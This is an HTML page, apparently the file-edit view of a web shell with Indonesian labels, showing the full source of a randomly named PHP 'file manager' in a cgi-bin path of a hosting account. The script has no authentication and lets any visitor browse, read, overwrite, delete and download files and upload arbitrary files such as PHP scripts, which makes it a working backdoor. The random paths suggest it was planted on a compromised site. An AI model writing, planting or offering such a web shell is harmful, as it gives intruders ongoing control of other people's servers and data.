<h3>Edit: f3wzk.php</h3><form method='post'><textarea name='content' rows='20' cols='100'>&lt;?php
// file_manager_simple.php - File Manager without JavaScript
session_start();
error_reporting(0);

// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);

// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
    $path = str_replace(&#039;..&#039;, &#039;&#039;, $path);
    $path = preg_replace(&#039;/[^a-zA-Z0-9\.\_\-\/]/&#039;, &#039;&#039;, $path);
    return trim($path, &#039;/&#039;);
}

function safe_realpath_within($path, $allowed_root){
    $rp = realpath($path);
    if($rp === false) return false;
    
    $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
        return $rp;
    }
    return false;
}

function get_file_list($dir){
    $files = [];
    if(is_dir($dir)){
        $items = scandir($dir);
        foreach($items as $item){
            if($item === &#039;.&#039; || $item === &#039;..&#039;) continue;
            $full_path = $dir . DIRECTORY_SEPARATOR . $item;
            $files[] = [
                &#039;name&#039; =&gt; $item,
                &#039;path&#039; =&gt; $full_path,
                &#039;size&#039; =&gt; is_file($full_path) ? filesize($full_path) : 0,
                &#039;type&#039; =&gt; is_dir($full_path) ? &#039;directory&#039; : &#039;file&#039;,
                &#039;modified&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;, filemtime($full_path))
            ];
        }
    }
    return $files;
}

function format_size($bytes) {
    if ($bytes &gt;= 1073741824) {
        return number_format($bytes / 1073741824, 2) . &#039; GB&#039;;
    } elseif ($bytes &gt;= 1048576) {
        return number_format($bytes / 1048576, 2) . &#039; MB&#039;;
    } elseif ($bytes &gt;= 1024) {
        return number_format($bytes / 1024, 2) . &#039; KB&#039;;
    } else {
        return $bytes . &#039; bytes&#039;;
    }
}

// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET[&#039;dir&#039;]) ? sanitize_path($_GET[&#039;dir&#039;]) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : &#039;&#039;);
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);

if($current_dir === false){
    $requested_dir = basename($base_dir);
    $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
    if($current_dir === false){
        $requested_dir = &#039;&#039;;
        $current_dir = safe_realpath_within($root_anchor, $root_anchor);
    }
}

// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== &#039;&#039;){
    $parent_dir = dirname($requested_dir);
    if($parent_dir === &#039;.&#039; || $parent_dir === &#039;\\&#039;) $parent_dir = &#039;&#039;;
} else {
    $parent_dir = &#039;&#039;;
}

// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== &#039;&#039;){
    $parts = explode(&#039;/&#039;, $requested_dir);
    $current_path = &#039;&#039;;
    foreach($parts as $part){
        $current_path .= ($current_path ? &#039;/&#039; : &#039;&#039;) . $part;
        $dir_parts[] = [
            &#039;name&#039; =&gt; $part,
            &#039;path&#039; =&gt; $current_path
        ];
    }
}

// ==================== ACTION HANDLING ====================
$action = $_GET[&#039;action&#039;] ?? &#039;list&#039;;
$message = &#039;&#039;;

switch($action){
    case &#039;view&#039;:
        $file = sanitize_path($_GET[&#039;file&#039;] ?? &#039;&#039;);
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) &amp;&amp; is_file($file_path)){
            header(&#039;Content-Type: text/plain&#039;);
            readfile($file_path);
            exit;
        }
        break;

    case &#039;edit&#039;:
        $file = sanitize_path($_GET[&#039;file&#039;] ?? &#039;&#039;);
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;){
            $content = $_POST[&#039;content&#039;] ?? &#039;&#039;;
            if(safe_realpath_within($file_path, $root_anchor) &amp;&amp; is_file($file_path)){
                if(file_put_contents($file_path, $content) !== false){
                    $message = &quot;File &#039;{$file}&#039; updated successfully!&quot;;
                } else {
                    $message = &quot;Error updating file &#039;{$file}&#039;!&quot;;
                }
            }
            // Don&#039;t redirect - stay on edit page with message
        } else {
            if(safe_realpath_within($file_path, $root_anchor) &amp;&amp; is_file($file_path)){
                $content = htmlspecialchars(file_get_contents($file_path));
                echo &quot;&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;meta charset=&#039;utf-8&#039;&gt;&lt;title&gt;Edit: &quot;.htmlspecialchars($file).&quot;&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&quot;;
                echo &quot;&lt;h2&gt;Edit: &quot;.htmlspecialchars($file).&quot;&lt;/h2&gt;&quot;;
                if($message) echo &quot;&lt;p style=&#039;color:green;&#039;&gt;$message&lt;/p&gt;&quot;;
                echo &quot;&lt;form method=&#039;post&#039;&gt;&quot;;
                echo &quot;&lt;textarea name=&#039;content&#039; style=&#039;width:100%;height:400px;font-family:monospace;&#039;&gt;$content&lt;/textarea&gt;&lt;br&gt;&lt;br&gt;&quot;;
                echo &quot;&lt;button type=&#039;submit&#039;&gt;Save&lt;/button&gt; &quot;;
                echo &quot;&lt;a href=&#039;?action=list&amp;dir=&quot;.urlencode($requested_dir).&quot;&#039;&gt;Cancel&lt;/a&gt;&quot;;
                echo &quot;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;&quot;;
                exit;
            }
        }
        break;

    case &#039;delete&#039;:
        $file = sanitize_path($_GET[&#039;file&#039;] ?? &#039;&#039;);
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        
        // Check if this is a confirmation request
        $confirmed = isset($_GET[&#039;confirm&#039;]) &amp;&amp; $_GET[&#039;confirm&#039;] === &#039;yes&#039;;
        
        if($confirmed &amp;&amp; safe_realpath_within($file_path, $root_anchor) &amp;&amp; file_exists($file_path)){
            if(is_dir($file_path)){
                $it = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                foreach($it as $f){
                    $f-&gt;isDir() ? rmdir($f-&gt;getRealPath()) : unlink($f-&gt;getRealPath());
                }
                rmdir($file_path);
                $message = &quot;Folder &#039;{$file}&#039; deleted successfully!&quot;;
            } else {
                if(unlink($file_path)){
                    $message = &quot;File &#039;{$file}&#039; deleted successfully!&quot;;
                } else {
                    $message = &quot;Error deleting file &#039;{$file}&#039;!&quot;;
                }
            }
            header(&#039;Location: ?action=list&amp;dir=&#039; . urlencode($requested_dir) . &#039;&amp;message=&#039; . urlencode($message));
            exit;
        } else {
            // Show confirmation page
            if(safe_realpath_within($file_path, $root_anchor) &amp;&amp; file_exists($file_path)){
                echo &quot;&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;meta charset=&#039;utf-8&#039;&gt;&lt;title&gt;Confirm Delete&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&quot;;
                echo &quot;&lt;h2&gt;Confirm Delete&lt;/h2&gt;&quot;;
                echo &quot;&lt;p&gt;Are you sure you want to delete &#039;&quot;.htmlspecialchars($file).&quot;&#039;?&lt;/p&gt;&quot;;
                echo &quot;&lt;p&gt;&lt;strong&gt;Type: &lt;/strong&gt;&quot; . (is_dir($file_path) ? &quot;Folder&quot; : &quot;File&quot;) . &quot;&lt;/p&gt;&quot;;
                echo &quot;&lt;p&gt;&lt;strong&gt;Path: &lt;/strong&gt;&quot; . htmlspecialchars($file_path) . &quot;&lt;/p&gt;&quot;;
                echo &quot;&lt;br&gt;&quot;;
                echo &quot;&lt;a href=&#039;?action=delete&amp;file=&quot;.urlencode($file).&quot;&amp;dir=&quot;.urlencode($requested_dir).&quot;&amp;confirm=yes&#039; style=&#039;color:red;font-weight:bold;&#039;&gt;YES, DELETE&lt;/a&gt; | &quot;;
                echo &quot;&lt;a href=&#039;?action=list&amp;dir=&quot;.urlencode($requested_dir).&quot;&#039;&gt;Cancel&lt;/a&gt;&quot;;
                echo &quot;&lt;/body&gt;&lt;/html&gt;&quot;;
                exit;
            }
        }
        break;

    case &#039;upload&#039;:
        if($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; !empty($_FILES[&#039;file&#039;])){
            $uploaded = $_FILES[&#039;file&#039;];
            if($uploaded[&#039;error&#039;] === UPLOAD_ERR_OK){
                $name = basename($uploaded[&#039;name&#039;]);
                $dest = $current_dir . DIRECTORY_SEPARATOR . $name;
                if(safe_realpath_within(dirname($dest), $root_anchor)){
                    if(move_uploaded_file($uploaded[&#039;tmp_name&#039;], $dest)){
                        @chmod($dest, 0644);
                        $message = &quot;File &#039;{$name}&#039; uploaded successfully!&quot;;
                    } else {
                        $message = &quot;Error uploading file &#039;{$name}&#039;!&quot;;
                    }
                } else {
                    $message = &quot;Invalid upload path!&quot;;
                }
            } else {
                $message = &quot;Upload error: &quot; . $uploaded[&#039;error&#039;];
            }
        }
        // Stay on same page with message
        break;

    case &#039;download&#039;:
        $file = sanitize_path($_GET[&#039;file&#039;] ?? &#039;&#039;);
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) &amp;&amp; is_file($file_path)){
            header(&#039;Content-Description: File Transfer&#039;);
            header(&#039;Content-Type: application/octet-stream&#039;);
            header(&#039;Content-Disposition: attachment; filename=&quot;&#039;.basename($file_path).&#039;&quot;&#039;);
            header(&#039;Content-Length: &#039;.filesize($file_path));
            readfile($file_path);
            exit;
        }
        break;

    case &#039;create_folder&#039;:
        if($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;){
            $folder = sanitize_path($_POST[&#039;folder_name&#039;] ?? &#039;&#039;);
            if($folder){
                $fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
                if(safe_realpath_within(dirname($fp), $root_anchor) &amp;&amp; !file_exists($fp)){
                    if(mkdir($fp, 0755, true)){
                        $message = &quot;Folder &#039;{$folder}&#039; created successfully!&quot;;
                    } else {
                        $message = &quot;Error creating folder &#039;{$folder}&#039;!&quot;;
                    }
                } else {
                    $message = &quot;Folder already exists or invalid path!&quot;;
                }
            } else {
                $message = &quot;Please enter a folder name!&quot;;
            }
        }
        // Stay on same page with message
        break;
}

// Get message from URL if redirected
if(isset($_GET[&#039;message&#039;])){
    $message = $_GET[&#039;message&#039;];
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;File Manager&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: Arial, sans-serif;
            background: #f2f4f8;
            padding: 20px;
        }
        
        .container {
            background: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0,0,0,.08);
        }
        
        h1 {
            margin-bottom: 12px;
        }
        
        .table {
            width: 100%;
            border-collapse: collapse;
        }
        
        th, td {
            padding: 10px;
            border-bottom: 1px solid #eee;
        }
        
        th {
            background: #007bff;
            color: #fff;
            text-align: left;
        }
        
        .trhover:hover {
            background: #fafbfc;
        }
        
        .btn {
            display: inline-block;
            padding: 6px 10px;
            background: #007bff;
            color: #fff;
            border-radius: 6px;
            text-decoration: none;
            margin-right: 6px;
            border: none;
            cursor: pointer;
            font-size: 14px;
        }
        
        .btn:hover {
            background: #0056b3;
        }
        
        .btn-danger {
            background: #dc3545;
        }
        
        .btn-danger:hover {
            background: #c82333;
        }
        
        .btn-success {
            background: #28a745;
        }
        
        .btn-success:hover {
            background: #218838;
        }
        
        .pathbar {
            background: #eef2f5;
            padding: 10px;
            border-radius: 8px;
            margin-bottom: 15px;
        }
        
        .toolbar {
            margin-bottom: 12px;
            padding: 10px;
            background: #f8f9fa;
            border-radius: 8px;
        }
        
        .small {
            font-size: 0.9em;
            color: #666;
        }
        
        .message {
            padding: 10px;
            margin: 10px 0;
            border-radius: 5px;
            font-weight: bold;
        }
        
        .message.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .message.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        input[type=&quot;text&quot;], input[type=&quot;file&quot;] {
            padding: 8px;
            border: 1px solid #ddd;
            border-radius: 4px;
            margin-right: 5px;
        }
        
        .breadcrumb {
            margin: 10px 0;
            font-size: 14px;
        }
        
        .breadcrumb a {
            color: #007bff;
            text-decoration: none;
        }
        
        .breadcrumb a:hover {
            text-decoration: underline;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;container&quot;&gt;
    &lt;h1&gt;File Manager - &lt;?= htmlspecialchars($current_dir) ?&gt;&lt;/h1&gt;

    &lt;?php if($message): ?&gt;
        &lt;div class=&quot;message &lt;?= strpos($message, &#039;Error&#039;) === false ? &#039;success&#039; : &#039;error&#039; ?&gt;&quot;&gt;
            &lt;?= htmlspecialchars($message) ?&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;

    &lt;div class=&quot;pathbar&quot;&gt;
        &lt;!-- Navigation buttons --&gt;
        &lt;a class=&quot;btn&quot; href=&quot;?action=list&amp;dir=&lt;?= urlencode($parent_dir) ?&gt;&quot;&gt;← Back&lt;/a&gt;
        &lt;a class=&quot;btn&quot; href=&quot;?action=list&amp;dir=&lt;?= urlencode(basename($base_dir)) ?&gt;&quot;&gt;🏠 Project&lt;/a&gt;
        &lt;a class=&quot;btn&quot; href=&quot;?action=list&amp;dir=&quot;&gt;📁 Root&lt;/a&gt;
        
        &lt;span class=&quot;small&quot;&gt; &amp;nbsp; &amp;nbsp; Current: 
        &lt;?php if($requested_dir === &#039;&#039;): ?&gt;
            / (&lt;?= htmlspecialchars($root_anchor) ?&gt;)
        &lt;?php else: ?&gt;
            /&lt;?= htmlspecialchars($requested_dir) ?&gt;
        &lt;?php endif; ?&gt;
        &lt;/span&gt;
        
        &lt;!-- Breadcrumb navigation --&gt;
        &lt;div class=&quot;breadcrumb&quot;&gt;
            &lt;a href=&quot;?action=list&amp;dir=&quot;&gt;Root&lt;/a&gt;
            &lt;?php foreach($dir_parts as $p): ?&gt;
                › &lt;a href=&quot;?action=list&amp;dir=&lt;?= urlencode($p[&#039;path&#039;]) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($p[&#039;name&#039;]) ?&gt;&lt;/a&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;div class=&quot;toolbar&quot;&gt;
        &lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; action=&quot;?action=upload&amp;dir=&lt;?= urlencode($requested_dir) ?&gt;&quot; style=&quot;display:inline-block;&quot;&gt;
            &lt;input type=&quot;file&quot; name=&quot;file&quot; required&gt;
            &lt;button class=&quot;btn btn-success&quot; type=&quot;submit&quot;&gt;📤 Upload&lt;/button&gt;
        &lt;/form&gt;

        &lt;form method=&quot;post&quot; action=&quot;?action=create_folder&amp;dir=&lt;?= urlencode($requested_dir) ?&gt;&quot; style=&quot;display:inline-block;margin-left:8px;&quot;&gt;
            &lt;input type=&quot;text&quot; name=&quot;folder_name&quot; placeholder=&quot;New Folder Name&quot; required&gt;
            &lt;button class=&quot;btn btn-success&quot; type=&quot;submit&quot;&gt;📁 Create Folder&lt;/button&gt;
        &lt;/form&gt;
    &lt;/div&gt;

    &lt;?php
    $files = get_file_list($current_dir);
    if(empty($files)): ?&gt;
        &lt;p&gt;&lt;i&gt;No files or folders found in this directory.&lt;/i&gt;&lt;/p&gt;
    &lt;?php else: ?&gt;
        &lt;table class=&quot;table&quot;&gt;
            &lt;thead&gt;
                &lt;tr&gt;
                    &lt;th&gt;Name&lt;/th&gt;
                    &lt;th&gt;Type&lt;/th&gt;
                    &lt;th&gt;Size&lt;/th&gt;
                    &lt;th&gt;Modified&lt;/th&gt;
                    &lt;th&gt;Actions&lt;/th&gt;
                &lt;/tr&gt;
            &lt;/thead&gt;
            &lt;tbody&gt;
                &lt;?php foreach($files as $f): ?&gt;
                    &lt;tr class=&quot;trhover&quot;&gt;
                        &lt;td&gt;
                            &lt;?php if($f[&#039;type&#039;] === &#039;directory&#039;): ?&gt;
                                📁 &lt;strong&gt;&lt;?= htmlspecialchars($f[&#039;name&#039;]) ?&gt;&lt;/strong&gt;
                            &lt;?php else: ?&gt;
                                📄 &lt;?= htmlspecialchars($f[&#039;name&#039;]) ?&gt;
                            &lt;?php endif; ?&gt;
                        &lt;/td&gt;
                        &lt;td&gt;&lt;?= $f[&#039;type&#039;] ?&gt;&lt;/td&gt;
                        &lt;td&gt;&lt;?= $f[&#039;type&#039;] === &#039;directory&#039; ? &#039;-&#039; : format_size($f[&#039;size&#039;]) ?&gt;&lt;/td&gt;
                        &lt;td&gt;&lt;?= $f[&#039;modified&#039;] ?&gt;&lt;/td&gt;
                        &lt;td&gt;
                            &lt;?php if($f[&#039;type&#039;] === &#039;directory&#039;): 
                                $next_rel = ($requested_dir !== &#039;&#039; ? $requested_dir . &#039;/&#039; : &#039;&#039;) . $f[&#039;name&#039;];
                            ?&gt;
                                &lt;a class=&quot;btn&quot; href=&quot;?action=list&amp;dir=&lt;?= urlencode($next_rel) ?&gt;&quot;&gt;Open&lt;/a&gt;
                            &lt;?php else: ?&gt;
                                &lt;a class=&quot;btn&quot; href=&quot;?action=edit&amp;file=&lt;?= urlencode($f[&#039;name&#039;]) ?&gt;&amp;dir=&lt;?= urlencode($requested_dir) ?&gt;&quot;&gt;Edit&lt;/a&gt;
                                &lt;a class=&quot;btn&quot; href=&quot;?action=download&amp;file=&lt;?= urlencode($f[&#039;name&#039;]) ?&gt;&amp;dir=&lt;?= urlencode($requested_dir) ?&gt;&quot;&gt;Download&lt;/a&gt;
                            &lt;?php endif; ?&gt;
                            &lt;a class=&quot;btn btn-danger&quot; href=&quot;?action=delete&amp;file=&lt;?= urlencode($f[&#039;name&#039;]) ?&gt;&amp;dir=&lt;?= urlencode($requested_dir) ?&gt;&quot;&gt;Delete&lt;/a&gt;
                        &lt;/td&gt;
                    &lt;/tr&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/tbody&gt;
        &lt;/table&gt;
    &lt;?php endif; ?&gt;
    
    &lt;div style=&quot;margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px;&quot;&gt;
        &lt;small&gt;
            &lt;strong&gt;Security Info:&lt;/strong&gt; 
            You can only access files within: &lt;?= htmlspecialchars($root_anchor) ?&gt;
        &lt;/small&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
// Simple confirmation for delete links
document.addEventListener(&#039;DOMContentLoaded&#039;, function() {
    var deleteLinks = document.querySelectorAll(&#039;a[href*=&quot;action=delete&quot;]&#039;);
    deleteLinks.forEach(function(link) {
        link.addEventListener(&#039;click&#039;, function(e) {
            // Let the server handle confirmation - don&#039;t prevent default
            // The server will show a confirmation page
        });
    });
});
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea><br><button type='submit'>Simpan</button></form><p><a href='?path=%2Fhome%2Fgreakqsw%2Ftheblogginglab.org%2F5uq8v7-20260314182546%2F3myf64%2Fcgi-bin%2Fu47kst'>Kembali</a></p>